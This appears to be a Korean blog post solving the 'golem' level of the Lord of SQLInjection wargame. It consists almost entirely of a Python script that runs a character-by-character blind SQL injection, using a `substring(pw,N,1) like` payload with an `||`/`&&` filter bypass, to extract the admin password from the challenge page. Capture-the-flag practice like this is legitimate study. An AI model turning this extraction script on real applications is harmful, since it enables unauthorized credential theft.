1. golem.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import requests
URL = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
password = ''
index=0
while True:
isit = False
index += 1
print('[+]Finding Password index : %d'%index)
for i in range(0x26, 0x7f):
# ' || id like 'admin' %26%26 length(pw) like 8 %23
query = '\' || id like \'admin\' && substring(pw,' + str(index) + ',1) like \'' + chr(i) + '\'#'
paramDic ={
'pw':
query
}
print('[*]Sending Query : %s'%query)
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID':'sessionID'}
response = requests.get(URL, params=paramDic, headers=headers, cookies=cookies)
if "Hello admin" in response.text:
password += chr(i)
isit = True
print('[+]Find Password : %s Index : %d' %(chr(i), index))
break
if isit is False:
break
print('[+]Password : %s'%password)
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
'Web hacking > LOS' 카테고리의 다른 글
[LOS] - assassin - 190825 (0) | 2019.08.25 |
---|---|
[LOS] - bugbear - 190825 (0) | 2019.08.25 |
[LOS] - darknight - 190825 (0) | 2019.08.25 |
[LOS] - orge - 190825 (0) | 2019.08.25 |
[LOS] - orc - 190825 (0) | 2019.08.25 |